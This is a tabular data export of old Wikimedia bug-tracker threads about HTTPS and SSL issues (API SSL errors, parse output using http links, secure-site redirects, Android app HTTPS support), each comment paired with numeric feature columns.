149256,https svn.wikimedia.org missing viewvc capability,"It doesn't support https, WFM if you drop the 's'",,,1318860350,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,"It doesn't support https, WFM if you drop the 's'"
33756,API requests fail on SSL,"SSL POSTs to /w/api.php are getting ""400 Bad Request"".

Sample POST:  http://paste2.org/p/1721585
Result: http://paste2.org/p/1721603

Note that I've since changed my password.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1318784460,1318945405.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,False,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_description,invalid,True,c2,1,False,False,True,-98,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,25.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.519230769230769,0.6730769230769231,"SSL POSTs to /w/api.php are getting ""400 Bad Request"".

Sample POST:  URL
Result: URL

Note that I've since changed my password.

--------------------------
**Version**: unspecified
**Severity**: normal"
148198,API requests fail on SSL,"Yep, openssl works.  I'll have to check gnutls-cli.",,,1318945405,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.9333333333333333,"Yep, openssl works.  I'll have to check gnutls-cli."
148190,API requests fail on SSL,I wonder if this could be caused by how my client is doing SSL using gnutls-cli.  I'll try with openssl.,,,1318944643,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,3.269230769230769,0.9230769230769231,I wonder if this could be caused by how my client is doing SSL using gnutls-cli.  I'll try with openssl.
148183,API requests fail on SSL,"I just tested logging in to <https://en.wikipedia.org/> via the API (<https://en.wikipedia.org/w/api.php>) and it seems to be working fine for me. Are there (still) steps to reproduce a failure? Otherwise, I'm inclined to mark this bug resolved as ""fixed"" or ""worksforme.""",,,1318890538,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,9.0,15.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,15.0,0.0,2.0,7.0,0.0,7.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,4.0,3.2777777777777777,0.7962962962962963,"I just tested logging in to <URL via the API (<URL and it seems to be working fine for me. Are there (still) steps to reproduce a failure? Otherwise, I'm inclined to mark this bug resolved as ""fixed"" or ""worksforme."""
148175,API requests fail on SSL,"Actually, I take this back. I tested this, and it's all working for me.",,,1318806158,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0526315789473686,0.7894736842105263,"Actually, I take this back. I tested this, and it's all working for me."
148167,API requests fail on SSL,Seems this is only a problem with HTTP/1.1 requests. HTTP/1.0 requests work properly. I can't figure out why. I'll investigate this more.,,,1318803708,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,7.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.142857142857143,0.7857142857142857,Seems this is only a problem with HTTP/1.1 requests. HTTP/1.0 requests work properly. I can't figure out why. I'll investigate this more.
148160,API requests fail on SSL,A possible fix pushed in change I9cba40a7: https://gerrit.wikimedia.org/r/391,,,1318802054,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.111111111111111,1.0,A possible fix pushed in change I9cba40a7: GERRIT_URL
33667,action=parse doesn't respect protocol (uses http even when called over https),"Both
https://secure.wikimedia.org/wikipedia/en/w/api.php?action=parse&text=[[Link]][[File:Example.jpg]]
and
https://en.wikipedia.org/w/api.php?action=parse&text=[[Link]][[File:Example.jpg]]
create a link to http://en.wikipedia.org/wiki/Link and get the file from http://upload.wikimedia.org/wikipedia/en/a/a9/Example.jpg
Instead the link and the file should point to the secure site.

--------------------------
**Version**: 1.18.x
**Severity**: normal
**URL**: https://en.wikipedia.org/w/api.php?action=parse&text=%5B%5BLink%5D%5D%5B%5BFile%3AExample.jpg%5D%5D%5B%5BFile%3AExample.jpg%7Cthumb%5D%5D",Medium,50.0,1318500960,1319190365.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-mou2slkkvaqystduirog,task_description,declined,True,c2,1,False,False,True,-98,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1186440677966103,0.4406779661016949,"Both
URL
and
URL
create a link to URL and get the file from URL
Instead the link and the file should point to the secure site.

--------------------------
**Version**: 1.18.x
**Severity**: normal
**URL**: URL"
151919,action=parse doesn't respect protocol (uses http even when called over https),"This ""bug"" was actually a workaround for an issue in iOS mobile clients. It was prominently announced on the mediawiki-api-announce mailing list. If you maintain software that uses the API, you should follow that mailing list.

http://lists.wikimedia.org/pipermail/mediawiki-api-announce/",,,1319555326,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-97,True,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,10.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.7916666666666666,"This ""bug"" was actually a workaround for an issue in iOS mobile clients. It was prominently announced on the mediawiki-api-announce mailing list. If you maintain software that uses the API, you should follow that mailing list.

URL"
151909,action=parse doesn't respect protocol (uses http even when called over https),"I can't reproduce the bug any longer, all the links are relative now.",,,1319190365,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-97,True,12.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.5625,0.9375,"I can't reproduce the bug any longer, all the links are relative now."
151900,action=parse doesn't respect protocol (uses http even when called over https),"(In reply to comment #3)
> The link (including the link to the file description page) is document relative
> now, but the file itself still has http://upload.wikimedia.org as source.

Confirmed in the attached URL.",,,1318590934,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.8947368421052632,"(In reply to comment #3)
QUOTE
QUOTE

Confirmed in the attached URL."
151894,action=parse doesn't respect protocol (uses http even when called over https),"The link (including the link to the file description page) is document relative now, but the file itself still has http://upload.wikimedia.org as source.
Since bugzilla doesn't like the links you must put them together yourself:
https://en.wikipedia.org/w/api.php?action=parse&text=
where the text to parse is [[Link]][[File:Example.jpg]].
Parsing [[File:Example.jpg|thumb]] also loads the magnify-clip.png from http://bits.wikimedia.org",,,1318580355,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,14.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,8.0,3.9864864864864864,0.6891891891891891,"The link (including the link to the file description page) is document relative now, but the file itself still has URL as source.
Since bugzilla doesn't like the links you must put them together yourself:
URL
where the text to parse is [[Link]][[File:Example.jpg]].
Parsing [[File:Example.jpg|thumb]] also loads the magnify-clip.png from URL"
151888,action=parse doesn't respect protocol (uses http even when called over https),"For the record: some days ago this bug was affecting scripts such as this
https://en.wikipedia.org/wiki/User_talk:Js/ajaxPreview.js#.5BBUG.5D_AJAX_preview_is_different_from_what_is_saved

but it is in fact working as expected at the moment.",,,1318542887,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-98,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6,0.9,"For the record: some days ago this bug was affecting scripts such as this
URL

but it is in fact working as expected at the moment."
151882,action=parse doesn't respect protocol (uses http even when called over https),"Works me me right now. Produces relative paths for internal links (/wiki/Foo and /wikipedia/en/wiki/Foo) and protocol-relative urls for files on Commons (//upload.wikimedia.org //commons.wikimedia.org) – just like the way it's parsed for saved articles.

Marking WORKSFORME, re-open if problems is back.",,,1318542393,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,11.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.274193548387097,0.7741935483870968,"Works me me right now. Produces relative paths for internal links (/wiki/Foo and /wikipedia/en/wiki/Foo) and protocol-relative urls for files on Commons (//upload.wikimedia.org //commons.wikimedia.org) – just like the way it's parsed for saved articles.

Marking WORKSFORME, re-open if problems is back."
33563,https://secure.wikimedia.org should redirect to the new same-domain SSL sites,"**Author:** `matt`

**Description:**
To complete the deprecation of https://secure.wikimedia.org in favor of the SSL sites on the original domains, it should redirect to those sites.  For example, https://secure.wikimedia.org/wikipedia/en/%s should redirect to https://en.wikipedia.org/%s .

The description of the ""SSL related"" bug component could stand to be updated as well.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1318185360,1359724864.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-e7f5kpno53y3haidhv3c,task_description,resolved,True,c2,1,False,False,True,-99,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,12.0,6.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.5714285714285714,"**Author:** CODE

**Description:**
To complete the deprecation of URL in favor of the SSL sites on the original domains, it should redirect to those sites.  For example, URL should redirect to URL .

The description of the ""SSL related"" bug component could stand to be updated as well.

--------------------------
**Version**: unspecified
**Severity**: major"
145276,https://secure.wikimedia.org should redirect to the new same-domain SSL sites,That commit is live and the https://secure.wikimedia.org/wikipedia/en/%s example correctly redirects.,,,1359724864,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-e7f5kpno53y3haidhv3c,task_subcomment,,True,c2,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,That commit is live and the URL example correctly redirects.
145268,https://secure.wikimedia.org should redirect to the new same-domain SSL sites,I was going to do this but Ryan Lane pointed out that someone else already is in Gerrit change 13429.,,,1346807403,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-e7f5kpno53y3haidhv3c,task_subcomment,,True,c2,1,True,,,-51,True,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,19.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,19.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9047619047619047,1.0,I was going to do this but Ryan Lane pointed out that someone else already is in Gerrit change 13429.
33497,Android app should support (or always?) use HTTPS,"Before any authentication-based features are added, should definitely make sure it can do all its network access over SSL.

Currently the mobile frontend on the m. domains don't offer SSL directly (bug 31333 etc) which might be an issue. :)

--------------------------
**Version**: 1.0.0 (Android)
**Severity**: normal",Medium,50.0,1318005300,1324975021.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_description,resolved,True,c2,1,True,False,True,-99,True,3.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,4.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9571428571428573,0.7714285714285715,"Before any authentication-based features are added, should definitely make sure it can do all its network access over SSL.

Currently the mobile frontend on the m. domains don't offer SSL directly (bug 31333 etc) which might be an issue. :)

--------------------------
**Version**: 1.0.0 (Android)
**Severity**: normal"
151762,Android app should support (or always?) use HTTPS,fixed in https://github.com/wikimedia/WikipediaMobile/commit/6ff4f8b1f834e5a08944893c4abb3a3d19c5cd8d,,,1324975021,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,fixed in URL
151759,Android app should support (or always?) use HTTPS,Why? In what cases would someone want to use HTTP?,,,1324676767,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-88,True,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,8.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.9166666666666666,Why? In what cases would someone want to use HTTP?
151755,Android app should support (or always?) use HTTPS,Lets make it a configurable option,,,1324676725,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Lets make it a configurable option
151751,Android app should support (or always?) use HTTPS,"Should we just go ahead do this for 1.0? Just a URL change, or are there other potential issues?",,,1324607901,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9545454545454546,"Should we just go ahead do this for 1.0? Just a URL change, or are there other potential issues?"
